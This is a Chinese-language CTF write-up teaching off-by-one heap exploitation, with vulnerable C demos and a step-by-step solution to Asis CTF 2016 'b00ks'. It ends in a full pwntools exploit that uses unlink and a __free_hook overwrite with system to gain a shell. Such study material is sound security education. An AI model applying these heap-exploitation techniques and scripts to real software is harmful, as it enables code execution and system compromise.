只溢出一个字节，比如定义的数组是 a[4]，在操作的时候却操作 a[4]，实际上数组最大是到 a[3] 的

利用思路

溢出字节为可控制任意字节：通过修改大小造成块结构之间出现重叠，从而泄露其他块数据，或是覆盖其他块数据。
溢出字节为 NULL 字节：在 size 为 0x100 的时候，溢出 NULL 字节可以使得 prev_in_use 位被清，这样前块会被认为是 free 块。这时可以选择使用 unlink 方法进行处理。另外，这时 prev_size 域就会启用，就可以伪造 prev_size ，从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块（理论上是当前正在 unlink 的块）与当前正在 unlink 的块大小是否相等

看个例子

首先看一个数组的例子

可以看下面源码，他 for(i=0;i<=size;i++) 里面那个 i<=size 是有问题的，这样会多循环一次

//gcc -g 1.c
int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i<=size;i++)
    {
        ptr[i]=getchar();
    }
    return i;
}
int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts("Get Input:");
    my_gets(chunk1,16);
    return 0;
}

首先 b *main 下个断点，然后运行到第六行也就是等待输入的那块

p ptr 看一下 ptr 指向的是哪一个地址
x/10gx 0x602010-0x10 然后查看一下那一块的内存，减去 0x10 是因为 chunk 前面要记录一些信息，比如前 0x8 如果前一个是空闲的话就记录前一个 chunk 的大小，否则就给前一个用来存数据。后面 0x8 记录的分别是该 chunk 的大小和 A、M、P 标志位
A（NON_MAIN_ARENA）表示 chunk 属于主分配区（1）或者非主分配区（0）
M（IS_MAPPED）表示当前 chunk 是否是由 mmap 分配的，M 为 1 表示该 chunk 是从 mmap 映射区域分配的，否则是从 heap 区域分配的
P（PREV_INUSE）表示前一个 chunk 有 (1) 没有 (0) 被使用，一般来说第一个被分配的 chunk 的这个位会标记为 1，来防止访问到非法内存

然后再运行的话就要接收我们的输入了，我们输入 17 个字符，以为前面源码中写的 my_gets(chunk1,16); 是 16 个，可以看到把第二个 chunk 的低一字节改成了 0x41

下面看一个字符串的例子

strlen 在计算长度的时候不会把结束符 ‘\x00’ 计算在内，strcpy 在拷贝的时候会把 ‘\x00’ 也算上，所以就会造成 off by one

//gcc -g 2.c
int main(void)
{
    char buffer[40]="";
    void *chunk1;
    chunk1=malloc(24);
    puts("Get Input");
    gets(buffer);
    if(strlen(buffer)==24)
    {
        strcpy(chunk1,buffer);
    }
    return 0;
}

先 b *main 上下个断点，然后运行到输入的那个位置，在这之前先看一下 chunk 的情况

输入 24 个 A，等他拷贝完之后，再看一下会发现原本的那低一字节已经被写成 \x00 了

例题

Asis CTF 2016 b00ks

首先看一下 create a book 功能：
首先要输一下书名的大小，然后会申请这么大的空间，然后通过 sub_9f5 这个函数往这个空间输入书名

这个函数的定义有问题，他会多置一个 0
传入的两个参数分别对应上面的 ptr 和 v1-1，地址和大小

如果我们输入的长度跟之前设定的长度一样的话，因为有个 ++buf，所以 break 之后会多写一个 0
我们再来看一下定义的 book 的结构体，注意有的是 DWORD，有的是 QWORD

一开始要输入作者的名字 32 字节

他会多输一个 \x00，然后会被后面的 book 的结构体指针给覆盖掉。这俩的关系可能有点不好理解，在 IDA 里可以看到，他这个 off_202018 反而在 off_202010 的上面，正好是相差 0x20，也就是 32 字节

如果一开始的 name 输的是 32 字节，当是哟个第四个功能打印书的信息的时候，这个 name 会在 Author 那里，会连带着把后面的存放的书籍的结构体指针打印出来，这样就拿到了 heap 的地址

找到这个结构体的位置之后来查看一下他们，首先是 id，然后是 name 的指针，然后是 des（description）的指针，然后是 des 的 size

通过这个图片演示一下怎么找？菜鸡找到这些能对应起来的东西感觉很爽！？

经过两个 create 和 remove 之后，后面成了 book4、5、6
heap_base 这个 gdb 看看内存就知道了，一开始是申请了 0x1010 的，加上后面的这些合起来

然后通过 editor 对 book4 的描述进行改写，写成：
p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
ptr 是 book4 的 desc 指针所在的位置，通过上面的布局待会 unlink 之后就会达成这样的效果：把 ptr 这里的值（也就是 book4 的 desc 指针）改为 ptr-0x18，这样 edit book4 的时候实际就是往 ptr-0x18 这里写

没发送之前：

发送后：写入的内容总共是 8\8\8\8\224\8，总共 33 gx

通过对 book4 的 des 进行改写，把 book5 的 des 堆块的 P 状态给覆盖为了 0
同时构造了一个 fake chunk 它的 fd 和 bk 分别是 p64(0x555555758180 - 0x18) 和 p64(0x555555758180 - 0x10)，这里这个 0x555555758180 就是 book4 的 des 指针存放的位置

然后对 book5 进行 remove，因为前一个 chunk 是 free 的，所以会 unlink 会把 book4 的 des 指针改成 book4 的des 指针的位置减去 0x18，然后再次编辑 book4，这时候编辑的实际是 book4 的结构体，通过这次操作把 book4 的 des 指针改成 book6 的 des 指针所在的位置

写完之后的样子

这时候修改 book4 的 des 就是修改 book6 结构体的 des 指针，可以通过这个来进行任意位置读写

定义了两个函数

def write_to(addr, content, size):
    edit(4, p64(addr) + p64(size + 0x100) + '\n')
    edit(6, content + '\n')
def read_at(addr):
    edit(4, p64(addr) + '\n')
    cmd(4)
    p.recvuntil('Description: ')
    p.recvuntil('Description: ')
    p.recvuntil('Description: ')
    content = p.recvline()[:-1]
    p.info(content)
    return content

write_to 函数解释
首先通过 edit 4 把 book6 的 des 指针改成了想要修改的那个,在结构体中 des 指针后面是 des 的大小
然后使用 edit 6 的时候就能够编辑 des 指针指向的那个位置了的内容了

read_at 函数解释
首先通过 edit4 把 book6 的 des 指针改成想要看的那一个地址，然后打印出来

有了这两个函数，先把 libc 的地址给泄露出来，这里是看的 book5 的 des，因为 book5 free 掉了，所以里面是 unsortedbin 的地址，他跟 libc 的基址固定偏移 0x3c4b78

libc_leak = u64(read_at(heap_base + 0x11e0).ljust(8, '\x00')) - 0x3c4b78
p.info('libc leak @ 0x%x' % libc_leak)

然后把 free_hook 改成 system

write_to(libc_leak + libc.symbols['__free_hook'], p64(libc_leak + libc.symbols['system']), 0x10)

再去 remove(6) 一下就可以拿到 shell 了，book6 的 name 已经放着 /bin/sh 了，当 free 的时候就是 system(‘/bin/sh’) 了

完整的 exp

#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p=process('./b00ks')
#p=remote('node3.buuoj.cn',26386)
def cmd(choice):
    p.recvuntil('> ')
    p.sendline(str(choice))
def create(book_size, book_name, desc_size, desc):
    cmd(1)
    p.recvuntil(': ')
    p.sendline(str(book_size))
    p.recvuntil(': ')
    if len(book_name) == book_size:
        p.send(book_name)
    else:
        p.sendline(book_name)
    p.recvuntil(': ')
    p.sendline(str(desc_size))
    p.recvuntil(': ')
    if len(desc) == desc_size:
        p.send(desc)
    else:
        p.sendline(desc)
def remove(idx):
    cmd(2)
    p.recvuntil(': ')
    p.sendline(str(idx))
def edit(idx, desc):
    cmd(3)
    p.recvuntil(': ')
    p.sendline(str(idx))
    p.recvuntil(': ')
    p.send(desc)
def author_name(author):
    cmd(5)
    p.recvuntil(': ')
    p.send(author)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def main():
    p.recvuntil('name: ')
    p.sendline('x' * (0x20 - 5) + 'leak:')
    create(0x20, 'tmp a', 0x20, 'b') # 1
    cmd(4)
    p.recvuntil('Author: ')
    p.recvuntil('leak:')
    heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
    p.info('heap leak @ 0x%x' % heap_leak)
    heap_base = heap_leak - 0x1080
    #0x0000555555758080 - 0x1080 = 0x555555757000
    create(0x20, 'buf 1', 0x20, 'desc buf') # 2
    create(0x20, 'buf 2', 0x20, 'desc buf 2') # 3
    remove(2)
    remove(3)
    ptr = heap_base + 0x1180
    payload = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
    create(0x20, 'name', 0x108, 'overflow') # 4
    create(0x20, 'name', 0x100 - 0x10, 'target') # 5
    create(0x20, '/bin/sh\x00', 0x200, 'to arbitrary read write') # 6
    edit(4, payload)
    remove(5)
    edit(4, p64(0x30) + p64(4) + p64(heap_base + 0x11a0) + p64(heap_base + 0x10c0) + '\n')
    def write_to(addr, content, size):
        edit(4, p64(addr) + p64(size + 0x100) + '\n')
        edit(6, content + '\n')
    def read_at(addr):
        edit(4, p64(addr) + '\n')
        cmd(4)
        p.recvuntil('Description: ')
        p.recvuntil('Description: ')
        p.recvuntil('Description: ')
        content = p.recvline()[:-1]
        p.info(content)
        return content
    libc_leak = u64(read_at(heap_base + 0x11e0).ljust(8, '\x00')) - 0x3c4b78
    p.info('libc leak @ 0x%x' % libc_leak)
    write_to(libc_leak + libc.symbols['__free_hook'], p64(libc_leak + libc.symbols['system']), 0x10)
    remove(6)
    p.interactive()
if __name__ == '__main__':
    main()

plaidctf 2015 plaiddb

我人傻了，红黑树是什么东西！？
啊啊啊啊啊，真的菜哭了

二进制安全

Off-By-One